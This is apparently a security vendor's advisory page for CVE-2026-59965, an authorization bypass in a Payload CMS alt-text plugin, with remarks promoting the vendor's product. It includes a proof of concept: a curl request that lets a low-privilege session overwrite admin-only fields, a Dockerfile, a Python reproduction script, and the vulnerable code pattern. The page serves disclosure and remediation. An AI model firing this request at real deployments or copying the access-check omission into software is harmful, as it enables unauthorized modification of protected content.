CVE-2026-59965

CVE-2026-59965 is a high-severity incorrect authorization vulnerability in @jhb.software/payload-alt-text-plugin (npm), affecting versions < 0.8.0. It is fixed in 0.8.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission

Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission

@jhb.software/payload-alt-text-plugin v0.7.0 exposes custom Payload CMS endpoints (POST /api/alt-text-plugin/generate and /bulk) that call the Payload Local API (findByID and update) without setting overrideAccess: false. Because Payload's internal logic evaluates shouldOverrideAccess = overrideAccess !== false, omitting the parameter causes it to default to true, silently bypassing all collection-level access control functions. Any authenticated user, regardless of role, can read and overwrite the alt and keywords fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated High (CVSS 7.1).

Details

The plugin registers two network endpoints in alt-text/src/plugin.ts:179-186. Their default access guard (plugin.ts:55) only checks !!req.user, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.

The endpoint handler at alt-text/src/endpoints/generateAltText.ts accepts user-controlled id, collection, locale, and update fields from the request body (line 29), then passes them directly to two unsecured Local API calls:

Read bypass (generateAltText.ts:31):

const imageDoc = await req.payload.findByID({
  id,
  collection,
  depth: 0,
  // overrideAccess: false is absent → defaults to true
})

Write bypass (generateAltText.ts:121):

await req.payload.update({
  id,
  collection,
  data: {
    alt: result.result.altText,
    keywords: result.result.keywords,
  },
  locale: targetLocale,
  // overrideAccess: false is absent → defaults to true
})

The bulk endpoint (alt-text/src/endpoints/bulkGenerateAltTexts.ts) repeats the same pattern at lines 120 (read) and 170 (write).

Payload's internal resolution of overrideAccess is:

shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → collection access function is never called

Because the collection-level read and update access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.

PoC

Environment setup:

  1. Clone the repository and install @jhb.software/[email protected] into a Payload v3 project.
  2. Configure an upload collection named media with read and update access restricted to users with role: "admin".
  3. Configure the plugin with collections: ["media"] and a resolver that returns { success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }.
  4. As an admin, create a media document (e.g., ID doc-001) with alt = "original safe alt text".
  5. Obtain a session token for a non-admin user (role: "user").

Build and run the dynamic PoC (Docker):

# Build
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Run
docker run --rm vuln001-poc

Exploit request:

curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST http://localhost:3000/api/alt-text-plugin/generate \
  --data '{"collection":"media","id":"doc-001","locale":"en","update":true}'

Expected result:

  • HTTP 200 is returned.
  • The response body contains "altText": "PWNED_BY_EXPLOIT".
  • A subsequent admin read of media/doc-001 confirms alt = "PWNED_BY_EXPLOIT" and keywords = ["hacked", "bypass"], despite the collection's update access being restricted to admins.

Control verification (confirms the bypass is real, not a misconfiguration):

A direct Local API call with overrideAccess: false by the same non-admin user throws AccessError: update denied for collection "media" (user role: user), proving that the access rule is correct and the plugin endpoint is the vector.

Dynamic reproduction output (Phase 2 confirmed):

VULN-001: Alt Text endpoint authorization bypass
  Payload Local API overrideAccess omission in
  generateAltText.ts:31 and :121

[Step 1] Control: non-admin direct update with overrideAccess:false
  PASS: access correctly denied → AccessError

[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
  HTTP status : 200
  Response    : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}

VULNERABILITY CONFIRMED, EXPLOITATION SUCCESSFUL

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 dynamic reproduction
#
# Build context: the parent directory that contains both
#   repo/          (jhb-software/payload-plugins clone)
#   vuln-001/      (this workspace)
#
# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run:    docker run --rm vuln001-poc

FROM node:22-slim

WORKDIR /app

# ---- Copy plugin source files required by the PoC ----
# Only the endpoint under test and its direct dependencies are needed.
# No Payload framework install required: we mock it in the PoC.

COPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts
COPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts
COPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts
COPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts
COPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts

# ---- Copy PoC files ----
COPY vuln-001/package_inner.json ./package.json
COPY vuln-001/inner_poc.ts       ./inner_poc.ts

# ---- Install minimal runtime dependencies ----
# zod: schema validation used by the endpoint handler
# tsx:  TypeScript executor that handles .js→.ts extension mapping
RUN npm install --no-audit --no-fund

# ---- Run the PoC ----
CMD ["node_modules/.bin/tsx", "inner_poc.ts"]

poc.py

#!/usr/bin/env python3
"""
poc.py, VULN-001 Dynamic Reproduction Orchestrator

Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
CWE: CWE-863 (Incorrect Authorization)

This script:
  1. Builds a Docker image containing the real plugin endpoint source.
  2. Runs the container, which calls the endpoint handler with a non-admin user.
  3. Captures stdout/stderr as evidence.
  4. Writes the result to phase2_result.json.

Usage:
  python3 poc.py

Safety:
  - All traffic stays on 127.0.0.1 / localhost inside Docker.
  - No external services are contacted.
  - No live credentials are used.
"""

import json
import os
import subprocess
import sys

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------

THIS_DIR = os.path.dirname(os.path.abspath(__file__))
# Build context: parent directory that contains both repo/ and vuln-001/
BUILD_CONTEXT = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
IMAGE_TAG = "vuln001-poc"
RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")

BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ."
RUN_COMMAND = f"docker run --rm {IMAGE_TAG}"
POC_COMMAND = f"python3 poc.py"


def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]:
    """Run a subprocess and return (returncode, stdout, stderr)."""
    result = subprocess.run(
        cmd,
        cwd=cwd,
        capture_output=True,
        text=True,
        timeout=timeout,
    )
    return result.returncode, result.stdout, result.stderr


def write_result(passed: bool, verdict: str, reason: str, evidence: str,
                 build_out: str = "", run_out: str = "", failure_detail: str = "") -> None:
    """Write phase2_result.json."""
    data: dict = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_COMMAND,
        "run_command": RUN_COMMAND,
        "poc_command": POC_COMMAND,
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    if failure_detail:
        data["failure_detail"] = failure_detail
    if build_out:
        data["build_output_tail"] = build_out[-2000:]
    if run_out:
        data["run_output"] = run_out
    with open(RESULT_FILE, "w", encoding="utf-8") as fh:
        json.dump(data, fh, indent=2, ensure_ascii=False)
    print(f"\nResult written to: {RESULT_FILE}")


def main() -> int:
    # -----------------------------------------------------------------------
    # Step 1: Build the Docker image
    # -----------------------------------------------------------------------
    print("=" * 60)
    print("VULN-001 Dynamic Reproduction")
    print("=" * 60)
    print()
    print(f"[1/2] Building Docker image: {IMAGE_TAG}")
    print(f"      Context : {BUILD_CONTEXT}")
    print(f"      Command : {BUILD_COMMAND}")
    print()

    rc, build_stdout, build_stderr = run(
        ["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."],
        cwd=BUILD_CONTEXT,
    )

    combined_build = (build_stdout + build_stderr).strip()
    if rc != 0:
        print("ERROR: Docker build failed.")
        print(combined_build[-3000:])
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패, npm install 또는 파일 복사 오류",
            evidence="",
            build_out=combined_build,
            failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}",
        )
        return 1

    print("      Build succeeded.")
    print()

    # -----------------------------------------------------------------------
    # Step 2: Run the PoC container
    # -----------------------------------------------------------------------
    print(f"[2/2] Running PoC container")
    print(f"      Command : {RUN_COMMAND}")
    print()

    rc, run_stdout, run_stderr = run(
        ["docker", "run", "--rm", IMAGE_TAG],
        cwd=BUILD_CONTEXT,
    )

    combined_run = (run_stdout + run_stderr).strip()
    print(combined_run)
    print()

    # -----------------------------------------------------------------------
    # Step 3: Evaluate the output
    # -----------------------------------------------------------------------
    success_marker = "VULNERABILITY CONFIRMED"
    pwned_marker = "PWNED_BY_EXPLOIT"

    if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:
        # Extract the key evidence block
        lines = combined_run.splitlines()
        evidence_lines = []
        in_block = False
        for line in lines:
            if success_marker in line or pwned_marker in line or "EXPLOITATION" in line:
                in_block = True
            if in_block:
                evidence_lines.append(line)
            if in_block and line.startswith("→"):
                break
        evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]

        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 "
                "admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. "
                "generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 "
                "Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 "
                "컬렉션 레벨 access 함수가 우회됨. "
                "직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공."
            ),
            evidence=evidence,
            run_out=combined_run,
        )
        print("PASS, vulnerability dynamically confirmed.")
        return 0

    else:
        print("FAIL, success marker not found or container exited non-zero.")
        write_result(
            passed=False,
            verdict="FAIL" if rc != 0 else "INCOMPLETE",
            reason=(
                f"컨테이너 종료 코드 {rc}. "
                "성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. "
                "로그를 확인하여 원인 파악 필요."
            ),
            evidence=combined_run[-2000:],
            run_out=combined_run,
            failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}",
        )
        return 1


if __name__ == "__main__":
    sys.exit(main())

Impact

This is an Incorrect Authorization vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user, a subscriber, editor, or any low-privilege role, can:

  1. Read the content of arbitrary upload documents that collection access rules would otherwise deny them.
  2. Overwrite the alt text and keywords fields on those documents, effectively performing unauthorized content modification.

Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-59965 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.0); upgrading removes the vulnerable code path.

Affected versions

@jhb.software/payload-alt-text-plugin (< 0.8.0)

Security releases

@jhb.software/payload-alt-text-plugin → 0.8.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade @jhb.software/payload-alt-text-plugin to 0.8.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-59965? CVE-2026-59965 is a high-severity incorrect authorization vulnerability in @jhb.software/payload-alt-text-plugin (npm), affecting versions < 0.8.0. It is fixed in 0.8.0. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
  2. How severe is CVE-2026-59965? CVE-2026-59965 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @jhb.software/payload-alt-text-plugin are affected by CVE-2026-59965? @jhb.software/payload-alt-text-plugin (npm) versions < 0.8.0 is affected.
  4. Is there a fix for CVE-2026-59965? Yes. CVE-2026-59965 is fixed in 0.8.0. Upgrade to this version or later.
  5. Is CVE-2026-59965 exploitable, and should I be worried? Whether CVE-2026-59965 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-59965 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-59965? Upgrade @jhb.software/payload-alt-text-plugin to 0.8.0 or later.

Stop the waste.
Protect your environment with Kodem.